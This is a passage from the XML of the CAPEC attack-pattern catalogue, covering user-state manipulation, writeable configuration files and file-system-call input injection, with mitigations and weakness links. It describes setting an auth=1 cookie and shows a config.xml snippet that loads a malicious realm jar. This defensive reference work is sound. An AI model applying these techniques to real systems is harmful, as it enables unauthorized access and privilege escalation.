			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="74" Name="Manipulating User State" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker modifies state information maintained by the target software
						in user-accessible locations. If successful, the target software will use
						this tainted state information and execute in an unintended manner.</Text>
					<Text>State management is an important function within an application. User
						state maintained by the application can include usernames, payment
						information, browsing history as well as application-specific contents such
						as items in a shopping cart.</Text>
					<Text>Manipulating user state can be employed by an attacker to elevate
						privilege, conduct fraudulent transactions or otherwise modify the flow of
						the application to derive certain benefits.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Attacker determines the nature of state management
												employed by the application. This includes
												determining the location (client-side, server-side
												or both) and possibly the items stored as part of
												user state</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker now tries to modify the user state
												contents (possibly blindly if the contents are
												encrypted or otherwise obfuscated) and observe the
												effects of this change on the application.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Having determined the information stored in the
												user state and the possible ways to modify it, the
												attacker can violate it in order to perform
												illegitimate actions.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Upon authenticating a user, an application stores the authentication
							decision (auth=0/1) in a cookies unencrypted. At every request, this
							cookie is checked to permit or deny a request.</Text>
						<Text>An attacker can easily violate this representation of user state and
							set auth=1 at every request in order to gain illegitimate access and
							elevated privilege in the application.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to have knowledge of state management as employed
							by the target application, and also the ability to manipulate the state
							in a meaningful way.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No special resources are required. An attacker can choose to use a data
					tampering tool to aid in the attack.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Analysis: The attacker observes contents of client-side user state
							variables, stored in coookies or hidden fields or query strings, and
							modifies them in order to observe their effect on the
							application.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Do not rely solely on user-controllable locations, such as cookies or URL
						parameters, to maintain user state</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Do not store sensitive information, such as usernames or authentication
						and authorization information, in user-controllable locations.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>At all times sensitive information that is part of the user state must be
						appropriately protected to ensure confidentiality and integrity at each
						request</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable user state variables</Text>
			</Injection_Vector>
			<Payload>
				<Text>Modified or injected user state variables</Text>
			</Payload>
			<Activation_Zone>
				<Text>State management mechanism of the application</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Altered user state leading to information leak or elevated
						privilege</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>372<!--Incomplete Internal State Distinction--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>371<!--State Issues--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>315<!--Plaintext Storage in a Cookie--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>353<!--Missing Support for Integrity Check--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2005-4448</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>FlatNuke 2.5.6 verifies authentication credentials based on an MD5
							checksum of the admin name and the hashed password rather than the
							plaintext password, which allows attackers to gain privileges by
							obtaining the password hash (possibly via CVE-2005-2813), then
							calculating the credentials and including them in the secid
							cookie.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>172<!--Time and State Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Protect user state that is stored client-side with integrity checks to
						ensure that a malicious user cannot gain unauthroized access to parts of the
						application</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Authenticate every request to ensure that it is coming from a legitimate
						user and that the request is a valid one in the current context.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Never Assuming That Your Secrets Are Safe</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Treat the Entire Inherited Process Context as Unvalidated Input</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Well-Known Cryptography Appropriately and Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B Chhaya</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-08</Submission_Date>
						<Submission_Comment>Taken over from Eric Dalci</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-08</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="75" Name="Manipulating Writeable Configuration Files"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Generally these are manually edited files that are not in the preview of
						the system administrators, any ability on the attacker's behalf to modify
						these files, for example in a CVS repository, gives unauthorized access
						directly to the application, the same as authorized users.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Configuration files must be modifiable by the attacker</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The BEA Weblogic server uses a config.xml file to store configuration
							data. If this file is not properly protected by the system access
							control, an attacker can write configuration information to redirect
							server output through system logs, database connections, malicious URLs
							and so on. Access to the Weblogic server may be from a so-called Custom
							realm which manages authentication and authorization privileges on
							behalf of user principals. Given write access, the attacker can insert a
							pointer to a custom realm jar file in the config.xml</Text>
						<Block>
							<Code>&lt; CustomRealm</Code>
							<Block>
								<Code>ConfigurationData="java.util.Properties"</Code>
								<Code>Name="CustomRealm"</Code>
								<Code>RealmClassName="Maliciousrealm.jar"</Code>
								<Code>/&gt;</Code>
							</Block>
						</Block>
						<Text>The main issue with configuration files is that the attacker can
							leverage all the same functionality the server has, but for malicious
							means. Given the complexity of server configuration, these changes may
							be very hard for administrators to detect.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To identify vulnerable configuration files, and understand how to
							manipulate servers and erase forensic evidence</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Backup copies of all configuration files</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Integrity monitoring for configuration files</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Enforce audit logging on code and configuration promotion
						procedures.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Load configuration from separate process and memory space,
						for example a separate physical device like a CD</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Configuration files</Text>
			</Injection_Vector>
			<Payload>
				<Text>Commands or configuration settings</Text>
			</Payload>
			<Activation_Zone>
				<Text>Configuration file processing routines</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>349<!--Acceptance of Extraneous Untrusted Data With Trusted Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>99<!--Improper Control of Resource Identifiers ('Resource Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>77<!--Improper Neutralization of Special Elements used in a Command ('Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>353<!--Missing Support for Integrity Check--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>354<!--Improper Validation of Integrity Check Value--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>233<!--Privilege Escalation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>176<!--Configuration/Environment manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="76" Name="Manipulating Input to File System Calls"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates inputs to the target software which the target
						software passes to file system calls in the OS. The goal is to gain access
						to, and perhaps modify, areas of the file system that the target software
						did not intend to be accessible.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Fingerprinting of the operating
											system</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>In order to create a valid file injection, the
												attacker needs to know what the underlying OS
												is.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Port mapping. Identify ports that the system
												is listening on, and attempt to identify inputs
												and protocol types on those ports.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-CommProtocol
												env-Peer2Peer env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>TCP/IP Fingerprinting. The attacker uses
												various software to make connections or partial
												connections and observe idiosyncratic responses
												from the operating system. Using those responses,
												he attempts to guess the actual operating
												system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-CommProtocol
												env-Peer2Peer env-ClientServer
												env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Induce errors to find informative error
												messages</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The target software accepts connections via
												the network.</Text>
												</Indicator_Description>
												<Environments>env-Embedded env-CommProtocol
												env-Peer2Peer env-ClientServer
												env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Operating environment
												(operating system, language, and/or middleware) is
												correctly identified.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>Multiple candidate operating
												environments are suggested.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Provide misleading
												information on TCIP/IP fingerprints (some
												operating systems can be configured to send
												signatures that match other operating
												systems).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Provide misleading
												information at the server level (e.g., Apache,
												IIS, WebLogic, etc.) to announce a different
												server software.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Detective">
												<Security_Control_Description>Some fingerprinting
												techniques can be detected by operating systems or
												by network IDS systems because they leave the
												network connection half-open, or they do not
												belong to a valid, open
												connection.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the Application to Identify
											User-controllable Inputs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker surveys the target application to
												identify all user-controllable inputs, possibly as a
												valid and authenticated user</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spider web sites for all available links,
												entry points to the web site.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Manually explore application and inventory
												all application inputs</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker develops a list of
												likely interesting path (application or OS
												related)</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Detective">
												<Security_Control_Description>Monitor velocity of
												feature activations (non-web software). Humans who
												activate features (click buttons, request actions,
												invoke APIs, etc.) will do so far slower and far
												less regularly than tools. Tools make requests
												very quickly and the requests are typically spaced
												apart regularly (e.g. 0.8 seconds between
												them).</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Vary inputs, looking for malicious
											results</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Depending on whether the application being
												exploited is a remote or local one the attacker
												crafts the appropriate malicious input containing
												the path of the targeted file or other file system
												control syntax to be passed to the
												application</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Inject context-appropriate malicious file
												path using network packet injection tools (netcat,
												nemesis, etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol env-Web env-Peer2Peer
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Inject context-appropriate malicious file
												path using web test frameworks (proxies,
												TamperData, custom programs, etc.) or simple HTTP
												requests</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Inject context-appropriate malicious file
												system control syntax</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol env-Web env-Peer2Peer
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Inventorying in prior step is
												successful.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>One or more injections that are
												appropriate to the platform provoke an unexpected
												response from the software, which can be varied by
												the attacker based on the
												input.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Manipulate files accessible by the
											application</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker may steal information or directly
												manipulate files (delete, copy, flush, etc.)</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker injects context-appropriate
												malicious file path to access the content of the
												targeted file.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker injects context-appropriate
												malicious file system control syntax to access the
												content of the targeted file.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>The attacker injects context-appropriate
												malicious file path to cause the application to
												create, delete a targeted file.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>The attacker injects context-appropriate
												malicious file system control syntax to cause the
												application to create, delete a targeted
												file.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>The attacker injects context-appropriate
												malicious file path in order to manipulate the
												meta-data of the targeted file.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="6">
												<Attack_Step_Technique_Description>
												<Text>The attacker injects context-appropriate
												malicious file system control syntax in order to
												manipulate the meta-data of the targeted
												file.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The software performs an action
												the attacker desires. This might be displaying
												information, storing information in a file, delete
												a file or some other malicious
												activity.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Use a system that logs
												file modification and/or
												access.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Make the application
												run in a low-privileged mode to prevent such
												attack to access important
												files.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Program must allow for user controlled variables to be applied directly to
						the filesystem</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
